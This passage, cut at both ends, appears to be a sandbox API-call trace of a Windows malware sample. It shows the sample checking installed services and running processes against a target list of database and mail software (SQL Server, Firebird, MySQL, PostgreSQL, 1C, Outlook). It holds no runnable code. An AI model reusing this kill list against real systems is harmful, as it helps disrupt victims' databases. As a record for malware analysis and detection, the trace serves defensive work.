lpString2="AudioSrv") returned 1 [0054.943] lstrlenW (lpString="BFE") returned 3 [0054.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.943] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.943] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.943] lstrlenW (lpString="CryptSvc") returned 8 [0054.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.943] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.943] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.943] lstrlenW (lpString="CscService") returned 10 [0054.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.943] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.943] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.943] lstrlenW (lpString="DcomLaunch") returned 10 [0054.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.943] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.943] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.943] lstrlenW (lpString="Dhcp") returned 4 [0054.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.944] lstrlenW (lpString="Dnscache") returned 8 [0054.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.944] lstrlenW (lpString="DPS") returned 3 [0054.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.944] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.944] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.944] lstrlenW (lpString="eventlog") returned 8 [0054.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.944] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.944] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.944] lstrlenW (lpString="EventSystem") returned 11 [0054.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.944] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.944] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.944] lstrlenW (lpString="gpsvc") returned 5 [0054.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.944] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.945] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.945] lstrlenW (lpString="iphlpsvc") returned 8 [0054.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.945] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.945] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.945] lstrlenW (lpString="LanmanServer") returned 12 [0054.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.945] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.945] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.945] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.945] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.945] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.945] lstrlenW (lpString="lmhosts") returned 7 [0054.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.945] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.945] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.945] lstrlenW (lpString="MMCSS") returned 5 [0054.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.945] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.945] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.945] lstrlenW (lpString="MpsSvc") returned 6 [0054.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.946] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.946] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.946] lstrlenW (lpString="Netman") returned 6 [0054.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.946] lstrlenW (lpString="netprofm") returned 8 [0054.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.946] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.946] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.946] lstrlenW (lpString="NlaSvc") returned 6 [0054.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.946] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.946] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.946] lstrlenW (lpString="nsi") returned 3 [0054.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.946] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.946] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.946] lstrlenW (lpString="PcaSvc") returned 6 [0054.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.947] lstrlenW (lpString="PlugPlay") returned 8 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.947] lstrlenW (lpString="Power") returned 5 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.947] lstrlenW (lpString="ProfSvc") returned 7 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.947] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.947] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.947] lstrlenW (lpString="RpcSs") returned 5 [0054.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.947] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.948] lstrlenW (lpString="SamSs") returned 5 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.948] lstrlenW (lpString="Schedule") returned 8 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.948] lstrlenW (lpString="SENS") returned 4 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.948] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.948] lstrlenW (lpString="Spooler") returned 7 [0054.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.948] lstrlenW (lpString="swprv") returned 5 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0054.949] lstrlenW (lpString="SysMain") returned 7 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.949] lstrlenW (lpString="Themes") returned 6 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.949] lstrlenW (lpString="TrkWks") returned 6 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.949] lstrlenW (lpString="UxSms") returned 5 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.949] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.949] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.949] lstrlenW (lpString="VSS") returned 3 [0054.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0054.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0054.950] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.950] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.950] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.950] lstrlenW (lpString="Winmgmt") returned 7 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.950] lstrlenW (lpString="WPDBusEnum") returned 10 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.951] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0054.951] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0054.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0054.951] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0054.951] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0054.953] Process32FirstW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.953] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.954] lstrlenW (lpString="System") returned 6 [0054.954] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.954] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.954] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.954] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.954] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.954] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.954] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.954] lstrlenW (lpString="smss.exe") returned 8 [0054.954] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.955] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.955] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.955] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.955] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.955] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.955] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.955] lstrlenW (lpString="csrss.exe") returned 9 [0054.955] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.955] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.955] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.955] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.955] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.955] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.955] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0054.955] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.955] lstrlenW (lpString="wininit.exe") returned 11 [0054.955] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0054.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0054.956] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0054.956] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.956] lstrlenW (lpString="csrss.exe") returned 9 [0054.956] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.956] lstrlenW (lpString="winlogon.exe") returned 12 [0054.956] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.957] lstrlenW (lpString="services.exe") returned 12 [0054.957] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.957] lstrlenW (lpString="lsass.exe") returned 9 [0054.957] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.957] lstrlenW (lpString="lsm.exe") returned 7 [0054.957] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.958] lstrlenW (lpString="svchost.exe") returned 11 [0054.958] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.958] lstrlenW (lpString="svchost.exe") returned 11 [0054.958] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.958] lstrlenW (lpString="svchost.exe") returned 11 [0054.958] Process32NextW (in: 